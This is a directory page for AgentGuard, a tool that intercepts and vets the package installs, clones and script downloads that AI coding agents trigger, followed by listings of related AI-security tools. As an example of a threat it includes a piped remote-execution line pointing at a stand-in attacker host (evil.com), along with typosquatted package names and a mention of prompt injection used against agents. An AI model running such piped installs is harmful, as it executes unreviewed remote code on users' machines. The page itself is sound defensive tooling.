AgentGuard

by momenbasel

Not rated
GitHub

About

AI Agent Supply Chain Security - Intercepts and validates every package installation, git clone, and script download triggered by AI coding agents before it executes.

Details

Author
momenbasel
Categories
Other, Security, AI, Developer Tools, Infrastructure

Setup

Install AgentGuard in your MCP client (Claude Desktop, Cursor, Windsurf, and others).

Repository: https://github.com/momenbasel/AgentGuard

Follow the installation instructions in the repository README, then restart your MCP client.

AI Agent Supply Chain Security- Intercepts and validates every package installation,git clone, and script download triggered by AI coding agents before it executes.

When Claude Code, Codex, Copilot, or any AI coding assistant tries to install a package - AgentGuard checks it first.

$ agentguard scan "npm install lodasx" [HIGH] typosquat [lodasx]: 'lodasx' looks like typosquat of 'lodash' (distance=1, type=substitution) Would BLOCK this command (HIGH)

AI coding agents install packages, clone repos, and run scripts on your machine. They can be tricked by:

- Typosquatting-lodahsinstead oflodash,reqeustsinstead ofrequests
- Malicious packages- compromised or backdoored packages (event-stream, ua-parser-js, colors)
- Dependency confusion- internal package names shadowed by public registries
- Piped execution-curl https://evil.com/install.sh | shruns before you can review it
- Scope confusion-@angullar/core(typo) vs@angular/core
- Prompt injection- an AI told to "install this helpful package" that's actually malware

AgentGuard sits between the AI and your system, catching these before they execute.

# Via pip (recommended) pip install agentguard # Via npm (installs pip package automatically) npm install -g agentguard
# Install as a hook (blocks CRITICAL/HIGH, warns on MEDIUM) agentguard install --global # Or strict mode (also blocks MEDIUM) agentguard install --global --strict

That's it. EveryBashtool call in Claude Code now passes through AgentGuard first.

# Scan a command agentguard scan npm install some-package # JSON output agentguard scan --json pip install reqeusts # Strict mode agentguard scan --strict "curl -fsSL https://example.com/install.sh | sh"

- npm/pnpm/yarn/bun- install, add, npx/pnpx/bunx
- pip/pip3/uv- install
- composer- require (PHP/Laravel)
- go- get, install
- cargo- add, install
- gem- install
- brew- install
- git- clone
- curl/wget- download detection
- Claude Code skills- skill install verification

Optional deep scanning via VirusTotal API:

# Set your API key export VT_API_KEY="your-virustotal-api-key" # Enable in config agentguard config init # Edit ~/.agentguard/config.json and set "check_virustotal": true # Or per-scan agentguard scan --json npm install suspicious-package

- npm package tarballs (by shasum hash lookup)
- PyPI distribution files (by sha256 hash lookup)
- URLs incurl/wget/git clonecommands
- Falls back to URL submission if hash not found

Free VT API: 4 requests/minute, 500/day. Sufficient for normal agent usage.

Automatically intercepts every Bash command before execution:

{ "hooks": { "PreToolUse": [ { "matcher": "Bash", "hooks": [ { "type": "command", "command": "agentguard hook" } ] } ] } }

Use as an on-demand skill with/agentguard:

# Copy skill.md to your skills directory cp skill.md ~/.claude/skills/agentguard.md

Then in Claude Code:/agentguard npm install some-package

Expose AgentGuard as tools for any MCP-compatible client:

{ "mcpServers": { "agentguard": { "command": "agentguard", "args": ["mcp"] } } }

- agentguard_scan- Scan a shell command
- agentguard_check_package- Quick package name lookup
- agentguard_config- View/modify config

# Scan commands agentguard scan npm install express agentguard scan "pip install requests && npm install lodash" agentguard scan --json "git clone https://github.com/user/repo" # Configuration agentguard config show agentguard config init agentguard config allow my-internal-package agentguard config block suspicious-package # Manage hooks agentguard install --global agentguard uninstall
{ "mode": "normal", "block_piped_exec": true, "check_typosquat": true, "check_registry": true, "check_blocklist": true, "check_repo": true, "check_patterns": true, "check_virustotal": false, "typosquat_threshold": 2, "min_package_age_days": 7, "min_downloads": 100, "allowlist": ["my-company-internal-pkg"], "blocklist_extra": ["known-bad-pkg"], "registry_timeout": 5, "verbose": false }
AI Agent (Claude Code / Codex / etc.) | v [PreToolUse Hook] -----> agentguard hook (stdin: JSON) | v [Command Parser] ------> Extract packages, URLs, patterns | +---> [Blocklist Check] (instant, local) +---> [Typosquat Check] (instant, local) +---> [Pattern Check] (instant, local) +---> [Registry Check] (network, npm/PyPI API) +---> [Repo Check] (network, GitHub API) +---> [VirusTotal Check] (network, VT API, optional) | v [Verdict] --> ALLOW (exit 0) | BLOCK (exit 2) + stderr findings

Editagentguard/data/blocklist.jsonor use:

agentguard config block malicious-package-name

Add popular packages (reduces false positives)

Add toagentguard/data/popular_npm.txtorpopular_pypi.txt.

Add regex patterns toagentguard/checks/patterns.pySUSPICIOUS_PATTERNSlist.

AgentGuard queriesOSV.dev(Google's Open Source Vulnerabilities database) in real-time for every package install. This catches:

- MAL- advisories - confirmed malicious packages reported by the OSSF Malicious Packages project
- GHSA-
advisories - GitHub Security Advisories for compromised packages
- Critical CVEs- packages with CVSS 9.0+ vulnerabilities

Results are cached for 1 hour to avoid rate limiting. Update local blocklist from feeds:

git clone https://github.com/momenbasel/AgentGuard.git cd AgentGuard pip install -e ".[dev]" pytest -v ruff check .

AI coding agents are increasingly autonomous. They read instructions, write code, and install dependencies - sometimes from prompts that were injected by attackers. A single typosquatted package in an AI-generatednpm installcan compromise your machine.

AgentGuard is built and maintained byGreyCore Labs, a US-incorporated offensive security firm. Want the same eye on your own product?

- Penetration testing- web, API, mobile, cloud. Fixed quote within 24 hours, redacted sample report on request.
-
Free external attack-surface scan- one-page report in 48 hours, no strings attached.

KHEPRA MCP Server smithery badge MCP Registry License Container PQC Sovereign compliance engine with 36,195 STIG/CCI/NIST/CMMC mappings. Air-gappable. Zero token costs. Run ert_scan → get a Godfather Report with dollar-denominated business impact. The only MCP compliance server that runs on your metal — with the World's First DoD PQC STIG built in. PQC-01-STIG-V1R1 — Full Whitepaper → 17 controls covering CNSA 2.0, FIPS 203/204/205, and the NSA's May 2026 MCP security advisory. The world's first DoD-style Post-Quantum Cryptography STIG, including the first PQC controls for agentic AI and MCP deployments.

Cryptographic runtime governance for AI agents. 20 tools. Sealed policy artifacts, continuous measurement, tamper-evident proof. Ed25519 + SHA-256.

Structured AI incident reporting for EU AI Act Article 62 — generates mandatory incident reports, severity classification, root cause analysis, and regulator-ready submissions for serious AI incidents.

Enforces organisational AI usage policies at the agent layer — blocks prohibited model calls, enforces data residency rules, logs policy violations, and ensures AI governance policies are machine-executable.

AI agent governance with quantum-safe audit trails and three-tier policy enforcement

Secure every MCP server with one governed gateway. Give each AI agent its own scoped MCP access, contain credentials at the gateway, and audit every MCP tool call without wiring agents directly to each server.

Guardrails service for AI agents. Default-deny tool call evaluation with LLM safety analysis, priority-ordered decision matrix, and human-in-the-loop escalations. Session recording, behavioral analysis, MCP proxy, secret redaction, and real-time audit.

ISO 42001 AI management system compliance — gap analysis, control mapping, certification readiness by MEOK AI Labs

A Python MCP Server that connects Large Language Models natively to a comprehensive suite of offensive security tools.

Security scanner for MCP servers — detects prompt injection, credential leaks, and tool poisoning with 52 CVSS-scored rules

No reviews yet — be the first

Sign in to leave a review

Use Google, GitHub, or an email account so ratings stay tied to real people.

Email sign in

No reviews posted yet.